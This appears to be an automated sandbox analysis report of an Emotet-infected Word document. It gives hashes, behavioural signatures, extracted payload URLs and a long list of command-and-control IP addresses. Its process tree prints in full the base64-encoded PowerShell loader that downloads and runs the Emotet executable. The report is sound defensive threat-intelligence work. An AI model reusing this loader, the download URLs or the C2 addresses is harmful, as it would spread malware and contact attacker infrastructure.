Analysis
-
max time kernel
135s -
max time network
147s -
platform
windows10_x64 -
resource
win10 -
submitted
31-07-2020 23:13
Static task
static1
Behavioral task
behavioral1
Sample
messaggio_072020.doc
Resource
win7
General
-
Target
messaggio_072020.doc
-
Size
168KB
-
MD5
a08ddcb5b46a9a12271bb2eb465965f7
-
SHA1
5a30279de2f80ccd0ccc2d29fb06b35fae9c697a
-
SHA256
72038c4d742717c91add32782d8128e5c7753b4cd7ef566bcc1d39aa0df0677e
-
SHA512
8d19d653d4f750a8b9bf565235e21395df4b3166c6143a9b2a9c16ab5e510efe86b5bb38c07f56cf94eca9ec3104e682c0bb69a1ca2462acd84b6ab777c9662b
Malware Config
Extracted
http://mc-interiorismo.com/theme/Rk/
http://mc130.com/SHB/KloCHjT/
http://mentarimedia.com/modules/p6N365/
http://mellysphotography.com/large/Rem220541/
http://vipmein.com/assets2/6eeP7BwazY/
Extracted
emotet
73.116.193.136:80
185.94.252.13:443
149.62.173.247:8080
89.32.150.160:8080
185.94.252.12:80
77.90.136.129:8080
83.169.21.32:7080
104.236.161.64:8080
114.109.179.60:80
189.2.177.210:443
68.183.190.199:8080
144.139.91.187:443
185.94.252.27:443
190.181.235.46:80
82.196.15.205:8080
46.28.111.142:7080
181.167.96.215:80
202.62.39.111:80
219.92.13.25:80
191.99.160.58:80
50.28.51.143:8080
172.104.169.32:8080
192.241.146.84:8080
82.240.207.95:443
80.249.176.206:80
2.47.112.152:80
212.231.60.98:80
77.55.211.77:8080
170.81.48.2:80
5.196.35.138:7080
143.0.87.101:80
190.6.193.152:8080
217.199.160.224:7080
187.162.248.237:80
93.151.186.85:80
177.74.228.34:80
204.225.249.100:7080
217.13.106.14:8080
51.255.165.160:8080
104.131.103.37:8080
177.72.13.80:80
190.163.31.26:80
186.70.127.199:8090
61.92.159.208:8080
12.162.84.2:8080
71.50.31.38:80
186.250.52.226:8080
92.23.34.86:80
177.144.135.2:80
201.213.156.176:80
190.147.137.153:443
94.176.234.118:443
181.129.96.162:8080
178.79.163.131:8080
111.67.12.221:8080
177.66.190.130:80
191.182.6.118:80
68.183.170.114:8080
177.73.0.98:443
203.25.159.3:8080
45.161.242.102:80
181.120.79.227:80
72.47.248.48:7080
177.139.131.143:443
189.194.58.119:80
137.74.106.111:7080
189.1.185.98:8080
190.194.242.254:443
190.17.195.202:80
192.241.143.52:8080
87.106.46.107:8080
212.71.237.140:8080
179.60.229.168:443
70.32.84.74:8080
70.32.115.157:8080
104.131.41.185:8080
Signatures
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3232 3468 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3232 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powersheLL.exeWindows.Media.Editing.exepid process 3232 powersheLL.exe 3232 powersheLL.exe 3232 powersheLL.exe 1240 Windows.Media.Editing.exe 1240 Windows.Media.Editing.exe 1240 Windows.Media.Editing.exe 1240 Windows.Media.Editing.exe 1240 Windows.Media.Editing.exe 1240 Windows.Media.Editing.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 11 3232 powersheLL.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
641.exedescription pid process target process PID 376 wrote to memory of 1240 376 641.exe Windows.Media.Editing.exe PID 376 wrote to memory of 1240 376 641.exe Windows.Media.Editing.exe PID 376 wrote to memory of 1240 376 641.exe Windows.Media.Editing.exe -
Drops file in System32 directory 1 IoCs
Processes:
641.exedescription ioc process File opened for modification C:\Windows\SysWOW64\keymgr\Windows.Media.Editing.exe 641.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXE641.exeWindows.Media.Editing.exepid process 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 3100 WINWORD.EXE 376 641.exe 1240 Windows.Media.Editing.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3100 WINWORD.EXE 3100 WINWORD.EXE -
Executes dropped EXE 2 IoCs
Processes:
641.exeWindows.Media.Editing.exepid process 376 641.exe 1240 Windows.Media.Editing.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/376-9-0x00000000005C0000-0x00000000005CC000-memory.dmp emotet behavioral2/memory/376-9-0x00000000005C0000-0x00000000005CC000-memory.dmp emotet behavioral2/memory/1240-12-0x0000000000580000-0x000000000058C000-memory.dmp emotet behavioral2/memory/1240-12-0x0000000000580000-0x000000000058C000-memory.dmp emotet -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\messaggio_072020.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABPAFYASQBGAFQAagBjAGQAPQAnAFgAUgBBAEMAUQBiAG8AawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBgAGkAVABgAFkAUAByAGAAbwBgAFQATwBDAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFUAWgBHAFAAVQBjAG0AaQAgAD0AIAAnADYANAAxACcAOwAkAE4AUwBHAFMATABwAHoAZAA9ACcAQwBWAFAASwBXAHQAcwBoACcAOwAkAE4ARwBSAEQAUQBwAHQAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQBaAEcAUABVAGMAbQBpACsAJwAuAGUAeABlACcAOwAkAEkATQBIAEIATgBrAHcAegA9ACcAUwBKAEUAQQBKAG0AegB2ACcAOwAkAFAARgBUAFgARgBpAHkAdwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAGUAYgBDAEwAaQBlAG4AdAA7ACQAUQBKAFYATABEAG0AdQBkAD0AJwBoAHQAdABwADoALwAvAG0AYwAtAGkAbgB0AGUAcgBpAG8AcgBpAHMAbQBvAC4AYwBvAG0ALwB0AGgAZQBtAGUALwBSAGsALwAqAGgAdAB0AHAAOgAvAC8AbQBjADEAMwAwAC4AYwBvAG0ALwBTAEgAQgAvAEsAbABvAEMASABqAFQALwAqAGgAdAB0AHAAOgAvAC8AbQBlAG4AdABhAHIAaQBtAGUAZABpAGEALgBjAG8AbQAvAG0AbwBkAHUAbABlAHMALwBwADYATgAzADYANQAvACoAaAB0AHQAcAA6AC8ALwBtAGUAbABsAHkAcwBwAGgAbwB0AG8AZwByAGEAcABoAHkALgBjAG8AbQAvAGwAYQByAGcAZQAvAFIAZQBtADIAMgAwADUANAAxAC8AKgBoAHQAdABwADoALwAvAHYAaQBwAG0AZQBpAG4ALgBjAG8AbQAvAGEAcwBzAGUAdABzADIALwA2AGUAZQBQADcAQgB3AGEAegBZAC8AJwAuACIAUwBwAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEQAWABQAFQAZwBoAGEAPQAnAEgARwBFAEkAWQB1AGUAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwBQAFMAWABFAHIAZwBkACAAaQBuACAAJABRAEoAVgBMAEQAbQB1AGQAKQB7AHQAcgB5AHsAJABQAEYAVABYAEYAaQB5AHcALgAiAGQAbwB3AE4AbABvAEEAYABkAGYASQBgAEwAZQAiACgAJABTAFAAUwBYAEUAcgBnAGQALAAgACQATgBHAFIARABRAHAAdAByACkAOwAkAEYATQBGAFYAVgBsAHQAaAA9ACcAUABDAEwARABMAGEAbwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQATgBHAFIARABRAHAAdAByACkALgAiAGwAYABFAE4ARwB0AEgAIgAgAC0AZwBlACAAMgAyADcANAA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAEUAQQBUAEUAIgAoACQATgBHAFIARABRAHAAdAByACkAOwAkAFMAUwBCAFQATQBhAG8AdAA9ACcASgBMAEoAVwBHAGgAdABqACcAOwBiAHIAZQBhAGsAOwAkAE0ASABMAFcATQBsAHIAeQA9ACcARABWAEQAVQBOAHEAcQBrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAUwBUAFUASABzAGIAeAA9ACcARwBGAEYAVgBTAHIAbwB4ACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
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C:\Users\Admin\641.exeC:\Users\Admin\641.exe1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
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C:\Windows\SysWOW64\keymgr\Windows.Media.Editing.exe"C:\Windows\SysWOW64\keymgr\Windows.Media.Editing.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\641.exe
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C:\Users\Admin\641.exe
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C:\Windows\SysWOW64\keymgr\Windows.Media.Editing.exe
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memory/376-9-0x00000000005C0000-0x00000000005CC000-memory.dmpFilesize
48KB
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memory/1240-12-0x0000000000580000-0x000000000058C000-memory.dmpFilesize
48KB
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memory/1240-10-0x0000000000000000-mapping.dmp
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memory/3100-3-0x000001E5D2816000-0x000001E5D2818000-memory.dmpFilesize
8KB
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memory/3100-6-0x000001E5D2814000-0x000001E5D2816000-memory.dmpFilesize
8KB
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memory/3100-5-0x000001E5D2818000-0x000001E5D281D000-memory.dmpFilesize
20KB
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memory/3100-4-0x000001E5D2816000-0x000001E5D2818000-memory.dmpFilesize
8KB
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memory/3100-0-0x000001E5D2623000-0x000001E5D2628000-memory.dmpFilesize
20KB
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memory/3100-2-0x000001E5D2818000-0x000001E5D281D000-memory.dmpFilesize
20KB
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memory/3100-1-0x000001E5D2623000-0x000001E5D2628000-memory.dmpFilesize
20KB